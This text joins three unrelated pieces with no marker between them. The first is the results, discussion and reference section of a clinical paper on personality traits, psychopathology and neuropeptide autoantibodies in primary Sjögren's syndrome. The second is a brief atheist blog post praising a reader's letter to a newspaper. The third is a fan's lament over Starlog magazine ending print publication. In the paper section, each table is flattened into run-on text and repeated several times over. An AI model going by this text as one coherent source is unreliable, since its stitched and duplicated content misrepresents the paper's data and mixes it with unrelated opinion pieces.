2.78 (1.35, 5.74) View Large T able 3 Psychopathology features pSS (n = 103) HC (n = 110) OR (95% CI); OR-adjusted (95% CI) Depression score (Zung) >40 43 (41.7) 23 (20.9) 2.71 (1.48, 4.95); 1.56 (0.73, 3.70) State anxiety (STAI) score >35 37 (35.9) 22 (20.0) 2.24 (1.21, 4.15); 2.19 (0.93, 5.18) Hypochondriasis (Whiteley) score >30 43 (41.7) 15 (13.6) 4.53 (2.32, 8.87); 4.92 (2.31, 10.52) Positive symptoms number >38 44 (42.7) 19 (17.3) 3.57 (1.90, 6.70); 1.54 (1.47, 3.47) Positive Symptoms Distress Index >1.58 44 (42.7) 14 (12.7) 5.11 (2.58, 10.12); 2.74 (1.34, 5.64) Global Severity Index >0.74 43 (41.7) 20 (18.2) 3.22 (1.73, 6.01); 1.49 (0.48, 3.89) Psychopathology features pSS (n = 103) HC (n = 110) OR (95% CI); OR-adjusted (95% CI) Depression score (Zung) >40 43 (41.7) 23 (20.9) 2.71 (1.48, 4.95); 1.56 (0.73, 3.70) State anxiety (STAI) score >35 37 (35.9) 22 (20.0) 2.24 (1.21, 4.15); 2.19 (0.93, 5.18) Hypochondriasis (Whiteley) score >30 43 (41.7) 15 (13.6) 4.53 (2.32, 8.87); 4.92 (2.31, 10.52) Positive symptoms number >38 44 (42.7) 19 (17.3) 3.57 (1.90, 6.70); 1.54 (1.47, 3.47) Positive Symptoms Distress Index >1.58 44 (42.7) 14 (12.7) 5.11 (2.58, 10.12); 2.74 (1.34, 5.64) Global Severity Index >0.74 43 (41.7) 20 (18.2) 3.22 (1.73, 6.01); 1.49 (0.48, 3.89) View Large T able 3 Psychopathology features pSS (n = 103) HC (n = 110) OR (95% CI); OR-adjusted (95% CI) Depression score (Zung) >40 43 (41.7) 23 (20.9) 2.71 (1.48, 4.95); 1.56 (0.73, 3.70) State anxiety (STAI) score >35 37 (35.9) 22 (20.0) 2.24 (1.21, 4.15); 2.19 (0.93, 5.18) Hypochondriasis (Whiteley) score >30 43 (41.7) 15 (13.6) 4.53 (2.32, 8.87); 4.92 (2.31, 10.52) Positive symptoms number >38 44 (42.7) 19 (17.3) 3.57 (1.90, 6.70); 1.54 (1.47, 3.47) Positive Symptoms Distress Index >1.58 44 (42.7) 14 (12.7) 5.11 (2.58, 10.12); 2.74 (1.34, 5.64) Global Severity Index >0.74 43 (41.7) 20 (18.2) 3.22 (1.73, 6.01); 1.49 (0.48, 3.89) Psychopathology features pSS (n = 103) HC (n = 110) OR (95% CI); OR-adjusted (95% CI) Depression score (Zung) >40 43 (41.7) 23 (20.9) 2.71 (1.48, 4.95); 1.56 (0.73, 3.70) State anxiety (STAI) score >35 37 (35.9) 22 (20.0) 2.24 (1.21, 4.15); 2.19 (0.93, 5.18) Hypochondriasis (Whiteley) score >30 43 (41.7) 15 (13.6) 4.53 (2.32, 8.87); 4.92 (2.31, 10.52) Positive symptoms number >38 44 (42.7) 19 (17.3) 3.57 (1.90, 6.70); 1.54 (1.47, 3.47) Positive Symptoms Distress Index >1.58 44 (42.7) 14 (12.7) 5.11 (2.58, 10.12); 2.74 (1.34, 5.64) Global Severity Index >0.74 43 (41.7) 20 (18.2) 3.22 (1.73, 6.01); 1.49 (0.48, 3.89) View Large When psychopathology variables were compared between Types I and II Sjögren patients non-statistical significant differences were observed (data not shown). Table 4 presents univariate and multivariate associations between clinical and laboratory characteristics of pSS and psychopathology variables (only statistically significant associations are shown). T able 4 Clinical and laboratory features (dependent variable) Psychopathology variable (independent variable) OR (95% CI); adjusted OR (95% CI) Arthralgias Zung score >40 3.14 (1.33, 7.39); 2.70 (1.13, 6.41) General Symptoms Index >0.74 3.14 (1.33, 7.39); 2.70 (1.13, 6.41) Anti-Ro/SSA Positive Symptoms Distress Index >1.6 0.34 (0.14, 0.81); 0.37 (0.15, 0.91) Anti-La/SSB Positive Symptoms Distress Index >1.6 0.29 (0.09, 0.87); 0.33 (0.11, 1.01) Clinical and laboratory features (dependent variable) Psychopathology variable (independent variable) OR (95% CI); adjusted OR (95% CI) Arthralgias Zung score >40 3.14 (1.33, 7.39); 2.70 (1.13, 6.41) General Symptoms Index >0.74 3.14 (1.33, 7.39); 2.70 (1.13, 6.41) Anti-Ro/SSA Positive Symptoms Distress Index >1.6 0.34 (0.14, 0.81); 0.37 (0.15, 0.91) Anti-La/SSB Positive Symptoms Distress Index >1.6 0.29 (0.09, 0.87); 0.33 (0.11, 1.01) View Large T able 4 Clinical and laboratory features (dependent variable) Psychopathology variable (independent variable) OR (95% CI); adjusted OR (95% CI) Arthralgias Zung score >40 3.14 (1.33, 7.39); 2.70 (1.13, 6.41) General Symptoms Index >0.74 3.14 (1.33, 7.39); 2.70 (1.13, 6.41) Anti-Ro/SSA Positive Symptoms Distress Index >1.6 0.34 (0.14, 0.81); 0.37 (0.15, 0.91) Anti-La/SSB Positive Symptoms Distress Index >1.6 0.29 (0.09, 0.87); 0.33 (0.11, 1.01) Clinical and laboratory features (dependent variable) Psychopathology variable (independent variable) OR (95% CI); adjusted OR (95% CI) Arthralgias Zung score >40 3.14 (1.33, 7.39); 2.70 (1.13, 6.41) General Symptoms Index >0.74 3.14 (1.33, 7.39); 2.70 (1.13, 6.41) Anti-Ro/SSA Positive Symptoms Distress Index >1.6 0.34 (0.14, 0.81); 0.37 (0.15, 0.91) Anti-La/SSB Positive Symptoms Distress Index >1.6 0.29 (0.09, 0.87); 0.33 (0.11, 1.01) View Large AutoAbs against neuropeptides in pSS patients and controls: associations with personality and psychopathology scores AutoAbs against α-MSH, ACTH, CRH, NPY, OT and VP were detected in both pSS and control groups with no statistical differences in levels between the two groups (Table 5). When we sought to explore whether autoAbs to various neuropeptides are associated with psychopathology and personality scores in pSS patients and HCs, statistically significant correlations were observed between levels of neuropeptides and psychopathology scores as shown in Table 6. T able 5 AutoAbs against pSS (n = 25), mean ( s.d. ); median (min–max) HC (n = 25), mean ( s.d. ); median (min–max) P-value* α-MSH 1.32 (0.88); 0.86 (0.44–2.89) 1.61 (0.83); 1.29 (0.50–2.89) 0.13 CRH 0.71 (0.39); 0.57 (0.23–2.02) 0.73 (0.20); 0.71 (0.34–1.25) 0.11 OT 0.98 (0.51); 0.87 (0.31–2.40) 0.94 (0.30); 0.93 (0.44–1.60) 0.72 VP 0.83 (0.44); 0.71 (0.17–1.93) 0.78 (0.21); 0.79 (0.37–1.13) 0.83 ACTH 0.99 (0.74); 0.86 (0.10–2.71) 0.86 (0.61); 0.70 (0.21–2.71) 0.78 NPY 0.57 (0.33); 0.49 (0.10–1.76) 0.58 (0.19); 0.55 (0.26–1.03) 0.30 AutoAbs against pSS (n = 25), mean ( s.d. ); median (min–max) HC (n = 25), mean ( s.d. ); median (min–max) P-value* α-MSH 1.32 (0.88); 0.86 (0.44–2.89) 1.61 (0.83); 1.29 (0.50–2.89) 0.13 CRH 0.71 (0.39); 0.57 (0.23–2.02) 0.73 (0.20); 0.71 (0.34–1.25) 0.11 OT 0.98 (0.51); 0.87 (0.31–2.40) 0.94 (0.30); 0.93 (0.44–1.60) 0.72 VP 0.83 (0.44); 0.71 (0.17–1.93) 0.78 (0.21); 0.79 (0.37–1.13) 0.83 ACTH 0.99 (0.74); 0.86 (0.10–2.71) 0.86 (0.61); 0.70 (0.21–2.71) 0.78 NPY 0.57 (0.33); 0.49 (0.10–1.76) 0.58 (0.19); 0.55 (0.26–1.03) 0.30 View Large T able 5 AutoAbs against pSS (n = 25), mean ( s.d. ); median (min–max) HC (n = 25), mean ( s.d. ); median (min–max) P-value* α-MSH 1.32 (0.88); 0.86 (0.44–2.89) 1.61 (0.83); 1.29 (0.50–2.89) 0.13 CRH 0.71 (0.39); 0.57 (0.23–2.02) 0.73 (0.20); 0.71 (0.34–1.25) 0.11 OT 0.98 (0.51); 0.87 (0.31–2.40) 0.94 (0.30); 0.93 (0.44–1.60) 0.72 VP 0.83 (0.44); 0.71 (0.17–1.93) 0.78 (0.21); 0.79 (0.37–1.13) 0.83 ACTH 0.99 (0.74); 0.86 (0.10–2.71) 0.86 (0.61); 0.70 (0.21–2.71) 0.78 NPY 0.57 (0.33); 0.49 (0.10–1.76) 0.58 (0.19); 0.55 (0.26–1.03) 0.30 AutoAbs against pSS (n = 25), mean ( s.d. ); median (min–max) HC (n = 25), mean ( s.d. ); median (min–max) P-value* α-MSH 1.32 (0.88); 0.86 (0.44–2.89) 1.61 (0.83); 1.29 (0.50–2.89) 0.13 CRH 0.71 (0.39); 0.57 (0.23–2.02) 0.73 (0.20); 0.71 (0.34–1.25) 0.11 OT 0.98 (0.51); 0.87 (0.31–2.40) 0.94 (0.30); 0.93 (0.44–1.60) 0.72 VP 0.83 (0.44); 0.71 (0.17–1.93) 0.78 (0.21); 0.79 (0.37–1.13) 0.83 ACTH 0.99 (0.74); 0.86 (0.10–2.71) 0.86 (0.61); 0.70 (0.21–2.71) 0.78 NPY 0.57 (0.33); 0.49 (0.10–1.76) 0.58 (0.19); 0.55 (0.26–1.03) 0.30 View Large T able 6 Psychopathology scores Anti-NPY (ρ) Anti-CRH (ρ) Anti-OT (ρ) Anti-VP (ρ) Anti-α-MSH (ρ) Anti-ACTH (ρ) pSS patients State anxiety score 0.129 0.197 0.300 0.274 0.574* −0.032 Trait anxiety score 0.043 0.052 0.164 0.151 0.466** −0.207 SCL anxiety score 0.187 0.260 0.439** 0.410** 0.576* 0.144 SCL paranoid score 0.006 0.182 0.268 0.222 −0.140 0.421** HCs Zung depression score −0.173 −0.167 −0.051 −0.069 0.432** −0.081 Leyton trait (osessiveness) score 0.211 0.407** 0.199 0.196 0.333 −0.052 Whiteley (hypohondriasis) index 0.213 0.411** 0.214 0.203 0.242 −0.103 State anxiety score −0.057 0.116 −0.022 −0.062 0.536* −0.148 Trait anxiety score −0.152 −0.041 −0.024 −0.070 0.597* 0.079 EPQ neurotisism 0.095 0.171 0.051 −0.054 0.464** 0.093 SCL somatization score −0.624* −0.694* −0.540* −0.547* 0.120 0.018 SCL depression score −0.100 −0.059 −0.047 −0.117 0.653* 0.017 SCL anxiety score −0.035 0.155 −0.057 −0.132 0.716* −0.122 Psychopathology scores Anti-NPY (ρ) Anti-CRH (ρ) Anti-OT (ρ) Anti-VP (ρ) Anti-α-MSH (ρ) Anti-ACTH (ρ) pSS patients State anxiety score 0.129 0.197 0.300 0.274 0.574* −0.032 Trait anxiety score 0.043 0.052 0.164 0.151 0.466** −0.207 SCL anxiety score 0.187 0.260 0.439** 0.410** 0.576* 0.144 SCL paranoid score 0.006 0.182 0.268 0.222 −0.140 0.421** HCs Zung depression score −0.173 −0.167 −0.051 −0.069 0.432** −0.081 Leyton trait (osessiveness) score 0.211 0.407** 0.199 0.196 0.333 −0.052 Whiteley (hypohondriasis) index 0.213 0.411** 0.214 0.203 0.242 −0.103 State anxiety score −0.057 0.116 −0.022 −0.062 0.536* −0.148 Trait anxiety score −0.152 −0.041 −0.024 −0.070 0.597* 0.079 EPQ neurotisism 0.095 0.171 0.051 −0.054 0.464** 0.093 SCL somatization score −0.624* −0.694* −0.540* −0.547* 0.120 0.018 SCL depression score −0.100 −0.059 −0.047 −0.117 0.653* 0.017 SCL anxiety score −0.035 0.155 −0.057 −0.132 0.716* −0.122 View Large T able 6 Psychopathology scores Anti-NPY (ρ) Anti-CRH (ρ) Anti-OT (ρ) Anti-VP (ρ) Anti-α-MSH (ρ) Anti-ACTH (ρ) pSS patients State anxiety score 0.129 0.197 0.300 0.274 0.574* −0.032 Trait anxiety score 0.043 0.052 0.164 0.151 0.466** −0.207 SCL anxiety score 0.187 0.260 0.439** 0.410** 0.576* 0.144 SCL paranoid score 0.006 0.182 0.268 0.222 −0.140 0.421** HCs Zung depression score −0.173 −0.167 −0.051 −0.069 0.432** −0.081 Leyton trait (osessiveness) score 0.211 0.407** 0.199 0.196 0.333 −0.052 Whiteley (hypohondriasis) index 0.213 0.411** 0.214 0.203 0.242 −0.103 State anxiety score −0.057 0.116 −0.022 −0.062 0.536* −0.148 Trait anxiety score −0.152 −0.041 −0.024 −0.070 0.597* 0.079 EPQ neurotisism 0.095 0.171 0.051 −0.054 0.464** 0.093 SCL somatization score −0.624* −0.694* −0.540* −0.547* 0.120 0.018 SCL depression score −0.100 −0.059 −0.047 −0.117 0.653* 0.017 SCL anxiety score −0.035 0.155 −0.057 −0.132 0.716* −0.122 Psychopathology scores Anti-NPY (ρ) Anti-CRH (ρ) Anti-OT (ρ) Anti-VP (ρ) Anti-α-MSH (ρ) Anti-ACTH (ρ) pSS patients State anxiety score 0.129 0.197 0.300 0.274 0.574* −0.032 Trait anxiety score 0.043 0.052 0.164 0.151 0.466** −0.207 SCL anxiety score 0.187 0.260 0.439** 0.410** 0.576* 0.144 SCL paranoid score 0.006 0.182 0.268 0.222 −0.140 0.421** HCs Zung depression score −0.173 −0.167 −0.051 −0.069 0.432** −0.081 Leyton trait (osessiveness) score 0.211 0.407** 0.199 0.196 0.333 −0.052 Whiteley (hypohondriasis) index 0.213 0.411** 0.214 0.203 0.242 −0.103 State anxiety score −0.057 0.116 −0.022 −0.062 0.536* −0.148 Trait anxiety score −0.152 −0.041 −0.024 −0.070 0.597* 0.079 EPQ neurotisism 0.095 0.171 0.051 −0.054 0.464** 0.093 SCL somatization score −0.624* −0.694* −0.540* −0.547* 0.120 0.018 SCL depression score −0.100 −0.059 −0.047 −0.117 0.653* 0.017 SCL anxiety score −0.035 0.155 −0.057 −0.132 0.716* −0.122 View Large When a regression model between psychopathology variables and levels of autoAbs against neuropeptides was applied, significant correlations were detected only between α-MSH and anxiety scores for both patients and controls (Fig. 1A, B and C; P-values for slope and intercept derived from the comparison with regression models are also presented). In both pSS patients and HCs when α-MSH autoAbs titres are increased, state anxiety, trait anxiety and SCL-90 anxiety scores are also increased. The rate of increase in both cases and controls are the same; however, pSS patients have a higher intercept as compared with controls (Table 7). F ig . 1 View largeDownload slide (A) State anxiety score against levels of α-MSH autoAbs in pSS patients and HCs (P-value for slope = 0.324, P-value for intercept <0.01). (B) Trait anxiety score against levels of α-MSH autoAbs in pSS patients and HCs (P-value for slope = 0.345, P-value for intercept <0.01). (C) SCL-90R anxiety score against levels of α-MSH autoAbs in pSS patients and HCs (P-value for slope = 0.101, P-value for intercept <0.01). F ig . 1 View largeDownload slide (A) State anxiety score against levels of α-MSH autoAbs in pSS patients and HCs (P-value for slope = 0.324, P-value for intercept <0.01). (B) Trait anxiety score against levels of α-MSH autoAbs in pSS patients and HCs (P-value for slope = 0.345, P-value for intercept <0.01). (C) SCL-90R anxiety score against levels of α-MSH autoAbs in pSS patients and HCs (P-value for slope = 0.101, P-value for intercept <0.01). T able 7 Parameters pSS patients, mean ( s.d. ) Controls, mean ( s.d. ) P-value State anxiety Slope 11.5 (2.64) 14.0 (2.61) 0.324 Intercept 32.33 (4.18) 12.1 (4.56) <0.01 Trait anxiety Slope 7.66 (2.42) 9.28 (1.82) 0.345 Intercept 31.76 (3.85) 16.04 (3.39) <0.01 Anxiety (SCL-90R) Slope 6.74 (1.62) 10.65 (1.72) 0.101 Intercept 12.31 (2.56) −5.21 (3.12) <0.01 Parameters pSS patients, mean ( s.d. ) Controls, mean ( s.d. ) P-value State anxiety Slope 11.5 (2.64) 14.0 (2.61) 0.324 Intercept 32.33 (4.18) 12.1 (4.56) <0.01 Trait anxiety Slope 7.66 (2.42) 9.28 (1.82) 0.345 Intercept 31.76 (3.85) 16.04 (3.39) <0.01 Anxiety (SCL-90R) Slope 6.74 (1.62) 10.65 (1.72) 0.101 Intercept 12.31 (2.56) −5.21 (3.12) <0.01 View Large T able 7 Parameters pSS patients, mean ( s.d. ) Controls, mean ( s.d. ) P-value State anxiety Slope 11.5 (2.64) 14.0 (2.61) 0.324 Intercept 32.33 (4.18) 12.1 (4.56) <0.01 Trait anxiety Slope 7.66 (2.42) 9.28 (1.82) 0.345 Intercept 31.76 (3.85) 16.04 (3.39) <0.01 Anxiety (SCL-90R) Slope 6.74 (1.62) 10.65 (1.72) 0.101 Intercept 12.31 (2.56) −5.21 (3.12) <0.01 Parameters pSS patients, mean ( s.d. ) Controls, mean ( s.d. ) P-value State anxiety Slope 11.5 (2.64) 14.0 (2.61) 0.324 Intercept 32.33 (4.18) 12.1 (4.56) <0.01 Trait anxiety Slope 7.66 (2.42) 9.28 (1.82) 0.345 Intercept 31.76 (3.85) 16.04 (3.39) <0.01 Anxiety (SCL-90R) Slope 6.74 (1.62) 10.65 (1.72) 0.101 Intercept 12.31 (2.56) −5.21 (3.12) <0.01 View Large Discussion In the present report, we aimed to assess the personality and psychopathological characteristics of pSS patients as compared with HCs, their potential associations with clinical and laboratory pSS features as well as with autoAbs directed against hypothalamic and pituitary neuropeptides. The main personality traits observed in the pSS population included neuroticism, psychoticism and obsessiveness, whereas both major and minor psychopathology features were detected. However, after adjustment for personality characteristics, only hypochondriasis was found to be the main psychopathology feature associated with pSS, suggesting that psychopathological manifestations in the setting of pSS were primarily dependent on the presence of premorbid personality characteristics. Arthralgias were associated with depression in pSS patients, anti-Ro/SSA with less psychiatric burden, whereas no association of psychopathology with the type of disease was observed. However, an association of serum antibodies to α-MSH with anxiety states in both pSS patients and HCs was detected. Research in the field of pSS and personality features is limited. Our previous work has suggested high levels of introverted hostility, low levels of extroverted hostility [2, 3] as well as the presence of a stable way of reacting to stress before the disease onset [12]. In the present work, we further report increased levels of psychoticism, neuroticism, obsessiveness and anxiety as a personality trait in pSS patients. Psychoticism implies psychosis proneness [34], whereas neuroticism is characterized by high levels of negative affect, previously correlated with activation threshold of the sympathetic nervous system [15]. Obsessiveness is mainly manifested as preoccupation with details, rules and perfectionism [32]. Consistently with previous reports in pSS [4–10, 35], we have demonstrated a high incidence of psychopathological features in our pSS cohort manifested as depression, anxiety and hypochondriasis. However, in the present study we report for the first time that premorbid personality traits in pSS patients dominate the expression of their psychopathology. Only hypochondriasis, the number of symptoms and the corresponding distress index reported by pSS patients seem to be influenced by pSS itself. When we explored the associations of clinical and laboratory parameters of pSS with psychopathology variables, we found that arthralgias were more prevalent in depressed pSS patients. Musculoskeletal involvement seems to be related to psychopathology in pSS and a similar pattern is also found in RA where a strong association of depression and arthralgias has been reported [36]. Although a previous study has failed to detect an association between anti-Ro/SSA antibodies and psychopathology, in our study pSS patients without anti-Ro/SSA antibodies experienced a greater psychological burden. This observation needs to be further explored. In line with previous reports, we have shown that IgG autoAbs directed against neuropeptides can be detected in the sera of both pSS patients and HCs [25]. Furthermore, we demonstrated that levels of autoAbs against α-MSH are correlated with anxiety states in both pSS patients and HCs, but with a higher intercept in pSS patients. AutoAbs against α-MSH seem to be relevant to anxiety, possibly through dysregulation of the melanocortin system, which is involved in a variety of behavioural and affective states [37]. In fact, recent work provided evidence that α-MSH autoAbs are physiologically involved in the regulation of anxiety in a rat model of mild and severe stress [25] and associated with core psychopathological traits in subjects with eating disorders [24]. Correlations between psychopathology scores and autoAbs against OT, VP, CRH and NPY were detected in our sample and the present study revealed, for the first time, association of NPY and CRH autoAbs with psychological traits. These results support potential participation of autoAbs directed against hypothalamic and pituitary neuropeptides in the neurobiological mechanisms underlying psychological and personality traits. Melanocortin MC5 receptor is highly expressed in secretory epithelia of the exocrine glands including the lacrimal gland [38] suggesting that α-MSH autoAbs may interfere with α-MSH role to regulate exocrine secretion. Given the detected association between OT and VP autoAbs and anxiety in pSS patients, one cannot exclude a pathogenic effect of these autoAbs also at the glandular level, and the induction of oral and ocular symptoms. However, these results should be interpreted in the context of potential limitations. The sample might be relatively small to provide substantial evidence of the impact of our findings. The presence of a second disease control group of a non-autoimmune disorder preferably one in which personality structure disturbances are absent or a sicca group without autoimmune features—which has already been used in a similar study [4]—would be valuable in strengthening the impact of our findings. Unfortunately, this was not included in the initial design of the study. Previous work did not detect significant differences between pSS patients and sicca controls with regard to psychopathological burden. However, no information regarding personality characteristics was available. Although validated and previously used in autoimmune populations, the psychometric scales used lack the accuracy and stability of a diagnostic interview and a diagnosis according to the current psychiatric diagnostic system. The absence of imaging data of the CNS cannot exclude the possibility that our findings may be attributed to pSS-related CNS involvement. In conclusion, pSS patients present a wide range of major psychopathological features mainly determined by premorbid personality traits of psychoticism and neuroticism. Clinicians should be aware of these personality characteristics, since a specific therapeutic approach is warranted. Attention, understanding and psychotherapeutic intervention as well as psychotropic medications when needed, may offer important help to pSS patients. Finally, the association of autoAbs to neuropeptides with several psychological characteristics and particularly of autoAbs against α-MSH with anxiety states suggests a potential pathogenic mechanism for these disorders. Acknowledegments We would like to thank Ioannis Tsonis for collecting clinical and serological data of patients with SS. Disclosure statement: The authors have declared no conflicts of interest. References 1 Kassan SS Moutsopoulos HM Clinical manifestations and early diagnosis of Sjogren syndrome , Arch Intern Med , 2004 , vol. 164 (pg. 1275 - 84 ) , vol.(pg. 2 Angelopoulos N Drosos AA Kosovitsa G Toli E Liakos A Personality and psychopathology in patients with primary Sjogren’s syndrome , Ter Arkh , 1988 , vol. 60 (pg. 49 - 52 ) , vol.(pg. 3 Drosos AA Angelopoulos NV Liakos A Moutsopoulos HM Personality structure disturbances and psychiatric manifestations in primary Sjogren’s syndrome , J Autoimmun , 1989 , vol. 2 (pg. 489 - 93 ) , vol.(pg. 4 Champey J Corruble E Gottenberg JE , et al. Quality of life and psychological status in patients with primary Sjogren’s syndrome and sicca symptoms without autoimmune features , Arthritis Rheum , 2006 , vol. 55 (pg. 451 - 7 ) , vol.(pg. 5 Mauch E Volk C Kratzsch G , et al. Neurological and neuropsychiatric dysfunction in primary Sjogren’s syndrome , Acta Neurol Scand , 1994 , vol. 89 (pg. 31 - 5 ) , vol.(pg. 6 Mukai M Sagawa A Baba Y , et al. Neuro-psychiatric symptom associated with primary Sjogren’s syndrome , Ryumachi , 1990 , vol. 30 (pg. 109 - 18 ) , vol.(pg. 7 Valtysdottir ST Gudbjornsson B Hallgren R Hetta J Psychological well-being in patients with primary Sjogren’s syndrome , Clin Exp Rheumatol , 2000 , vol. 18 (pg. 597 - 600 ) , vol.(pg. 8 Valtysdottir ST Gudbjornsson B Lindqvist U Hallgren R Hetta J Anxiety and depression in patients with primary Sjogren’s syndrome , J Rheumatol , 2000 , vol. 27 (pg. 165 - 9 ) , vol.(pg. 9 Valtysdottir ST Wide L Hallgren R Mental wellbeing and quality of sexual life in women with primary Sjogren’s syndrome are related to circulating dehydroepiandrosterone sulphate , Ann Rheum Dis , 2003 , vol. 62 (pg. 875 - 9 ) , vol.(pg. 10 Vriezekolk JE Geenen R Hartkamp A , et al. Psychological and somatic predictors of perceived and measured ocular dryness of patients with primary Sjogren’s syndrome , J Rheumatol , 2005 , vol. 32 (pg. 2351 - 5 ) , vol.(pg. 11 Ioannidis JP Vassiliou VA Moutsopoulos HM Long-term risk of mortality and lymphoproliferative disease and predictive classification of primary Sjogren’s syndrome , Arthritis Rheum , 2002 , vol. 46 (pg. 741 - 7 ) , vol.(pg. 12 Karaiskos D Mavragani CP Makaroni S , et al. Stress, coping strategies and social support in patients with primary Sjogren’s syndrome prior to disease onset: a retrospective case control study , Ann Rheum Dis , 2009 , vol. 68 (pg. 40 - 6 ) , vol.(pg. 13 American Psychiatric Association , Diagnostic and statistical manual of mental disorders 14 Martin N Goodwin G Fairburn C , et al. A population-based study of personality in 34,000 sib-pairs , Twin Res , 2000 , vol. 3 (pg. 310 - 5 ) , vol.(pg. 15 Eysenck HJ Eysenck SBG Manual of the EPQ , 1975 London Stoughton Educational 16 Hettema JM Neale MC Myers JM Prescott CA Kendler KS A population-based twin study of the relationship between neuroticism and internalizing disorders , Am J Psychiatry , 2006 , vol. 163 (pg. 857 - 64 ) , vol.(pg. 17 Wray NR Birley AJ Sullivan PF Visscher PM Martin NG Genetic and phenotypic stability of measures of neuroticism over 22 years , Twin Res Hum Genet , 2007 , vol. 10 (pg. 695 - 702 ) , vol.(pg. 18 Eysenck SB Eysenck HJ The measurement of psychoticism: a study of factor stability and reliability , Br J Soc Clin Psychol , 1968 , vol. 7 (pg. 286 - 94 ) , vol.(pg. 19 Johnson EO Kostandi M Moutsopoulos HM Hypothalamic-pituitary-adrenal axis function in Sjogren’s syndrome: mechanisms of neuroendocrine and immune system homeostasis , Ann N Y Acad Sci , 2006 , vol. 1088 (pg. 41 - 51 ) , vol.(pg. 20 Johnson EO Moutsopoulos HM Neuroendocrine manifestations in Sjogren’s syndrome. Relation to the neurobiology of stress , Ann N Y Acad Sci , 2000 , vol. 917 (pg. 797 - 808 ) , vol.(pg. 21 Keller PA McCluskey A Morgan J O'Connor SM The role of the HPA axis in psychiatric disorders and CRF antagonists as potential treatments , Arch Pharm , 2006 , vol. 339 (pg. 346 - 55 ) , vol.(pg. 22 Fetissov SO Hallman J Nilsson I Lefvert AK Oreland L Hokfelt T Aggressive behavior linked to corticotropin-reactive autoantibodies , Biol Psychiatry , 2006 , vol. 60 (pg. 799 - 802 ) , vol.(pg. 23 Fetissov SO Hallman J Oreland L , et al. Autoantibodies against alpha-MSH, ACTH, and LHRH in anorexia and bulimia nervosa patients , Proc Natl Acad Sci USA , 2002 , vol. 99 (pg. 17155 - 60 ) , vol.(pg. 24 Fetissov SO Harro J Jaanisk M , et al. Autoantibodies against neuropeptides are associated with psychological traits in eating disorders , Proc Natl Acad Sci USA , 2005 , vol. 102 (pg. 14865 - 70 ) , vol.(pg. 25 Sinno MH Rego JC Coeffier M , et al. Regulation of feeding and anxiety by alpha-MSH reactive autoantibodies , Psychoneuroendocrinology , 2009 , vol. 34 (pg. 140 - 9 ) , vol.(pg. 26 Folstein MF Folstein SE McHugh PR “Mini-mental state”. A practical method for grading the cognitive state of patients for the clinician , J Psychiatr Res , 1975 , vol. 12 (pg. 189 - 98 ) , vol.(pg. 27 Vitali C Bombardieri S Jonsson R , et al. Classification criteria for Sjogren’s syndrome: a revised version of the European criteria proposed by the American-European Consensus Group , Ann Rheum Dis , 2002 , vol. 61 (pg. 554 - 8 ) , vol.(pg. 28 Zung WW A Self-Rating Depression Scale , Arch Gen Psychiatry , 1965 , vol. 12 (pg. 63 - 70 ) , vol.(pg. 29 Spielberger CD Gorsuch RL Luchene RE Manual for the State-Trait Anxiety Inventory (STAI) , 1970 Palo Alto, CA Consulting Psychologists Press 30 Pilowsky I Dimensions of hypochondriasis , Br J Psychiatry , 1967 , vol. 113 (pg. 89 - 93 ) , vol.(pg. 31 Derogatis LR SCL-90: Administration, scoring and procedures. Manual for the revised version , 1983 Baltimore Clinical Psychometric Research 32 Cooper J The Leyton obsessional inventory , Psychol Med , 1970 , vol. 1 (pg. 48 - 64 ) , vol.(pg. 33 Stalikas A Psychometric tools in Greece , 2002 Athens Ellinika Grammata 34 Compton MT Carter T Kryda A Goulding SM Kaslow NJ The impact of psychoticism on perceived hassles, depression, hostility, and hopelessness in non-psychiatric African Americans , Psychiatry Res , 2008 , vol. 159 (pg. 215 - 25 ) , vol.(pg. 35 Stevenson HA Jones ME Rostron JL Longman LP Field EA UK patients with primary Sjogren’s syndrome are at increased risk from clinical depression , Gerodontology , 2004 , vol. 21 (pg. 141 - 5 ) , vol.(pg. 36 Zautra AJ Parrish BP Van Puymbroeck CM , et al. Depression history, stress, and pain in rheumatoid arthritis patients , J Behav Med , 2007 , vol. 30 (pg. 187 - 97 ) , vol.(pg. 37 Kishi T Elmquist JK Body weight is regulated by the brain: a link between feeding and emotion , Mol Psychiatry , 2005 , vol. 10 (pg. 132 - 46 ) , vol.(pg. 38 van der Kraan M Adan RA Entwistle ML Gispen WH Burbach JP Tatro JB Expression of melanocortin-5 receptor in secretory epithelia supports a functional role in exocrine and endocrine glands , Endocrinology , 1998 , vol. 139 (pg. 2348 - 55 ) , vol.(pg. © The Author 2010. Published by Oxford University Press on behalf of the British Society for Rheumatology. All rights reserved. For Permissions, please email: journals.permissions@oxfordjournals.org

Image by Morydd via Flickr In regards to the Sept. 24 pastor column by Rev. Robert Meyer. I would like to see the human race continue to advance, discover and understand the world we live in. It saddens me to know that you cannot take pleasure in the idea of human potential. Even worse, you influence people in our community, preaching a faith built on fear, teaching that a quest for learning and understanding is forbidden and punishable. Tags: This is the first post in what I expect will become a new series here at Atheist Revolution , one honoring atheist heroes. At this point, I have no plans to make it a weekly series. Instead, I will use it simply to express appreciation to those making a difference in the atheist movement.Christopher Kelly, a reader of this blog and resident of Mokena, IL, wrote a great letter to the editor ofin which he called out a local pastor for spreading idiocy in the paper. One of the things that makes this act noteworthy is that Christopher took the risk of putting himself out there as an atheist in his community.Here is an excerpt from his letter:Efforts like this go a long way toward provoking thought and helping those of us in the reality-based community feel a bit less alone.

I just read that Starlog magazine is ceasing print publication, and as a fanboy my heart is broken. Back in the day before the internet it was damn hard for a fanboy to find anything anywhere on science fiction films and TV shows — and riding a wave of Star Trek fandom Starlog magazine filled that gap. Suddenly anybody who could get to a newsstand could have access to a high quality magazine with amazing articles. In many ways Starlog was wikipedia before the web — early issues would feature detailed episode guides to every science fiction TV series that you could imagine. What also made Starlog cool was hat they wouldn’t just cover the latest hit, often they’d have articles on classic films from eons ago. Not only that but the articles would also go into loving detail on anything that they covered — in fact the magazine would often feature blueprints and rare photos that you couldn’t find anywhere else. Knowing that I was a die hard Star Trek fan my father purchased my first issue for me, and it was as if my life had changed. Suddenly I realized that there were other fans out there besides me. And a few years later when my heart was broken that Star Blazers went off the air I was able to to start a fan club by placing a cheap ad in the classified section of the magazine. Starlog was also very generous to fans by printing up convention listings, so many a fanboy owes their start in fandom to Starlog. From what I can see they’re trying to turn the magazine website into a web portal — and while I hope that does well I feel like an era has just ended…

